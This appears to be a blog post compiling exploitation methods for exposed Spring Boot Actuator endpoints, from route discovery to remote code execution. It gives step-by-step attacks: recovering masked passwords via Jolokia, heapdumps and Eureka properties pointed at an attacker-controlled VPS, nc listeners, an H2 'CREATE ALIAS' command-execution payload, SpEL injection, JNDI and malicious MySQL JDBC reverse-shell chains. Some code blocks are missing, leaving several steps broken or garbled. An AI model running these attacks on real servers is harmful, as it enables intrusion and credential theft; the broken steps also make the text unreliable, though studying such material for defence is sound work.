Introduction to Spring Boot Related Vulnerabilities
18 minute read
Spring Boot related vulnerability learning materials, collection of utilization methods and skills, black box security assessment checklist
Routing Knowledge
The root path of the default built-in routing in Spring Boot 1. x version /starts, and in 2. x, it /actuator starts with.
Some programmers will customize /manage, /managementor the project -related name is the root path
The default built-in route name, such as /envSometimes it will be modified by the programmer, such as modified to/appenv
Version Knowledge
Spring Cloud builds services based on Spring Boot and provides an ordered collection of frameworks that help to rapidly develop distributed systems with common functions such as configuration management, service registration and discovery, and intelligent routing.
Dependencies between Spring Cloud and Spring Boot major versions:
Spring Cloud
Spring Boot
Angel
Compatible with Spring Boot 1.2.x
Brixton
Compatible with Spring Boot 1.3.x, 1.4.x
Camden
Compatible with Spring Boot 1.4.x, 1.5.x
Dalston
Compatible with Spring Boot 1.5.x, not compatible with 2.0.x
Edgware
Compatible with Spring Boot 1.5.x, not compatible with 2.0.x
Finchley
Compatible with Spring Boot 2.0.x, not compatible with 1.5.x
Greenwich
Compatible with Spring Boot 2.1.x
Hoxton
Compatible with Spring Boot 2.2.x
The Suffix and Meaning of the Spring Cloud Minor Version Number:
Version number suffix
Meaning
BUILD-SNAPSHOT
Snapshot version, the code is not fixed, it is changing
MX
Milestone Edition
RCX
Release Candidate
RELEASE
official release
SRX
(fixed bugs and bugs and re-released) official release
Information Leakage
Leakage of routing address and interface call details
When the development environment was switched to the online production environment, the relevant personnel did not change the configuration file or forgot to switch the configuration environment, resulting in this vulnerability
Directly access the following routes to verify whether the vulnerability exists:
/api-docs
/v2/api-docs
/swagger-ui.html
Some interface routing distortions that may be encountered:
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
In addition, the following routes sometimes contain (or infer) some interface address information, but cannot obtain parameter-related information:
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
Generally speaking, knowing the relevant interface and parameter information of the spring boot application cannot be regarded as a vulnerability ;
However, the exposed interfaces can be checked for unauthorized access, unauthorized access, or other business-type vulnerabilities.
Route Exposed by Improper Configuration
Mainly because programmers did not realize that exposing routing may cause security risks when developing, or did not develop in accordance with standard procedures, and forgot to modify/switch the configuration of the production environment when going online
Among them, the most important interfaces for finding vulnerabilities are:
/env,/actuator/env
GET requests /env will leak environment variable information or some usernames in the configuration. When the programmer's attribute names are not standardized (for example, the password is written as passwords, PWD), the plaintext of the password will be leaked.
At the same time, there is a certain probability that some attributes can be set through the POST request /env interface to trigger related RCE vulnerabilities.
/Jolokia
Find exploitable MBeans through the /jolokia/list interface to trigger related RCE vulnerabilities;
/trace
Some http request packets access tracking information, it is possible to find valid cookie information
Obtain the Plaintext of the Password Desensitized by the Asterisk (method 1)
When accessing the /env interface, the spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
The target uses Jolokia-core dependencies (version requirements are currently unknown)
How to use:
Step 1: Find the property name you want to get
GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
Step 2: Jolokia calls the relevant MBean to get the plaintext
security.user.password Replace in the following example with the actual property name to be obtained, and send the packet directly; the result of the plaintext value is included in the value key in the response packet.
Invoke org.springframework.bootMbean ( maybe more generic )
In fact, it calls the getProperty method of the org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar class instance
Obtain the Plaintext of the Password Desensitized by the Asterisk (method 2)
When accessing the /env interface, the spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
Conditions of use:
GET request to the target website/env
can POST requests to the target website/env
You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
The target uses a spring-cloud-starter-netflix-eureka-clientdependency.
The target can request the attacker's server (the request can go out of the Internet)
How to use:
Step 1: Find the property name you want to get
GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
Step 2:Use nc to listen for HTTP requests
Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
Step 3: Set the eureka.client.serviceUrl.defaultZone property
Replace in the following with the attribute name masked by the corresponding asterisk* you want to get, http://value:${security.user.password}@your-vps-ip security.user.password
your-vps-ip Replace it with the real IP address of your external network server.
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded
POST /refresh Content - Type : application/x- www- form - urlencoded
spring 2.x
POST /actuator/ refresh Content- Type: application/json
Step 5: Decode the attribute value
Normally, the server monitored by nc will receive the request from the target, which contains the following Authorizationheader content:
Authorization: Basic dmFsdWU6MTIzNDU2
Decode the dmFsdWU6MTIzNDU2 part of it using base64 to obtain a similar plaintext value value:123456, where 123456is the plaintext of the attribute value before desensitization of the target asterisk*.
Obtain the Plaintext of the Password Desensitized by the Asterisk (method 3)
When accessing the /env interface, the spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
Conditions of use:
/envTrigger the target to initiate any http request to the specified address on the external network by setting the attribute through POST
The target can request the attacker's server (the request can go out of the Internet)
How to use:
Referring to issue-1 proposed by UUUUnotfound, you can use placeholders to bring out data in the URL path when the target sends an external http request
Step 1: Find the property name you want to get
GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
Step 2: Use nc to listen for HTTP requests
Listen to port 80 on the external network server controlled by yourself:
nc -lvk 80
Step 3: Trigger an outgoing http request
spring.cloud.bootstrap.location method ( also applicable to the case where there are special URL characters in the plaintext data):
spring 1.x
POST /env Content - Type : application/x- www- form - urlencoded
POST /refresh Content - Type : application/x- www- form - urlencoded
spring 2.x
POST /actuator/ refresh Content- Type: application/json
Obtain the Plaintext of the Password Desensitized by the Asterisk (method 4)
When accessing the /env interface, the spring actuator will replace the attribute values corresponding to some attribute names with sensitive keywords (such as password, secret) with * to achieve the effect of desensitization
Conditions of use:
Normal GET request-target /heapdumpor /actuator/heapdumpinterface
How to use:
Step 1: Find the property name you want to get
GET requests the /envor /actuator/envinterface of the target website, search for ******keywords, and find the attribute name corresponding to the attribute value masked by the asterisk * to be obtained.
Step 2: Download JVM heap information
The size of the downloaded heap dump file is usually between 50M and 500M, and sometimes it may be larger than 2G
GET Request the target's /heapdumpor /actuator/heapdumpinterface to download the application's real-time JVM heap information
Step 3: Use MAT to get the password plaintext in the JVM heap
Refer to the article method, use the OQL statement of the Eclipse Memory Analyzer select * from org.springframework.web.context.support.StandardServletEnvironment tool to assist in fast filtering and analysis, and obtain the password plaintext
Remote Code Execution
Since spring boot related vulnerabilities may be caused by the combination of multiple component vulnerabilities, some vulnerabilities are not named properly, whichever can be distinguished
White Label Error Page SpEL RCE
Conditions of use:
spring-boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0 are Know at least one interface and parameter name that triggers the default error page of spring-boot
How to use:
Step 1: Find a normal transmission location
For example, if a visit is found /article?id=xxx, the page will report an error with a status code of 500: Whitelabel Error Page and subsequent payloads will be tried at the parameter id.
Step 2: Execute the SpEL expression
Enter /article?id=${7*7}, if it is found that the error page calculates the value 49 of 7*7 and displays it on the error page, then it can be basically determined that the target has a SpEL expression injection vulnerability.
Convert from string format to 0x**java byte format for easy execution of arbitrary code:
# coding: utf-8
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip( ',' ))
spring-boot processing parameter value error, the process enters the org.springframework.util.PropertyPlaceholderHelperclass
At this point, the parameter value in the URL will be recursively parsed with the parseStringValuemethod
${} The content enclosed in it will be parsed and executed by org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfigurationthe resolvePlaceholdermethod as a SpEL expression, resulting in an RCE vulnerability
You can POST requests to the /envinterface set properties
You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
eureka-client< spring-cloud-starter-Netflix-eureka-client1.8.7 used by the target (usually included in dependencies)
The target can request the attacker's HTTP server (the request can go out of the Internet)
How to use:
Step 1: Set up a website that responds to a malicious XStream payload
Provide an example of a python script that relies on Flask and meets the requirements, and uses the python that comes with the target Linux machine to bounce the shell.
Use python to run the above script on the server you control, and modify the ip address and port number of the rebound shell in the script according to the actual situation.
Step 2: Listen to the port of the bouncing shell
Generally, use nc to listen to the port and wait for the rebound shell
nc -lvp 443
Step 3: Set the eureka.client.serviceUrl.defaultZone property
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded
Generally, use nc to listen to the port and wait for the rebound shell
nc -lv 443
Step 6: Load the log configuration file from an external URL
If the target successfully requests example.xml and marshalsec also receives the target request, but the target does not request JNDIObject.class, the high probability is that the JDK version of the target environment is too high, resulting in the failure of JNDI utilization.
Replacing the actual your-vps-ip address to access the URL triggers the vulnerability:
Directly accessing the URL that can trigger the vulnerability is equivalent to calling the method of the ch.qos.logback.classic.jmx.JMXConfiguratorclass through jolokiareloadByURL
The target machine requests the URL address of the external log configuration file to obtain the content of the malicious xml file.
The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
The external JNDI server address is set using the dependent tag in the logbackxml fileinsertFormJNDI
The target machine requests a malicious JNDI server, resulting in JNDI injection and RCE vulnerability
You can POST requests to the /envinterface set properties
You can restart the application by POST requesting the /restartinterface (there is a spring-boot-starter-actuator dependency)
Existing com.h2database.h2dependencies (version requirements are currently unknown)
How to use:
Step 1: Set the spring.datasource.hikari.connection-test-query property
The 'T5' method in the payload below needs to be renamed (such as T6) after each command is executed before it can be recreated and used, otherwise, the vulnerability will not be triggered when the application is restarted next time
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
Step 2: Restart the application
spring 1.x
POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart Content-Type: application/json
Vulnerability Principle:
The spring.datasource.hikari.connection-test-query property is set to a malicious SQL statement that CREATE ALIAScreates a custom function
Its properties correspond to the connectionTestQuery configuration of the HikariCP database connection pool and define the SQL statement to be executed before a new database connection
restart restarts the application, a new database connection will be established
If the custom function in the SQL statement has not been executed, the custom function will be executed, resulting in RCE vulnerability
Existing com.h2database.h2dependencies (version requirements are currently unknown)
Enable h2 console in spring configuration spring.h2.console.enabled=true
The target can request the attacker's server (the request can go out of the Internet)
JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1 (LDAP method)
How to use:
Step 1: Access the route to get session id
Directly access the target to open the default route of h2 console /h2-console, the target will jump to the page /h2-console/login.jsp?jsessionid=xxxxxxand record the actual jsessionid=xxxxxxvalue
You can POST requests to the /envinterface set properties
You can POST request the /refreshinterface refresh the configuration ( spring-boot-starter-actuatordependency exists)
A MySQL-connector-javadependency
The target can request the attacker's server (the request can go out of the Internet)
How to use:
Step 1: View environment dependencies
GET request /envor /actuator/env, search for mysql-connector-java keywords , and record its version number (5.x or 8.x);
Search and observe whether there are common deserialization gadget dependencies in environment variables, such as commons-collections, Jdk7u21, Jdk8u20etc.;
Search for the spring.datasource.urlkeyword and record its value value to facilitate subsequent recovery of its normal JDBC url value.
Generate a deserialized payload file in the same directory as the script for the script to use. payload.ser
Step 3: Set the spring.datasource.url property
Modifying this property will temporarily make all the normal database services of the website unavailable, which will affect the business, please operate with caution!
MySQL-connector-java 5.x version sets the property value to :
POST /refreshContent-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh Content-Type: application/json
Step 5: Trigger database query
Try to access the known database query interface of the website, such as: /product/list, or find other ways to actively trigger the source website to perform database query, and then the vulnerability will be triggered
Step 6: restore normal jdbc url
After the deserialization exploit is complete, use the method in step three to restore the original value spring.datasource.urlrecorded in step onevalue
Vulnerability principle:
The spring.datasource.url property is set to the external malicious MySQL JDBC URL address
refresh sets a new spring.datasource.url property value after refresh
When the website performs database queries and other operations, it will try to establish a new database connection using the malicious mysql jdbc url
The malicious MySQL server will then return the deserialized payload data at the appropriate stage of establishing the connection
The target-dependent MySQL-connector-java will deserialize the set gadget, resulting in an RCE vulnerability
You need to configure the spring.datasource.url, spring. datasource.username, spring.datasource.password in application.properties to ensure that you can connect to the MySQL database normally, otherwise, the program will report an error and exit when it starts.
Post a Comment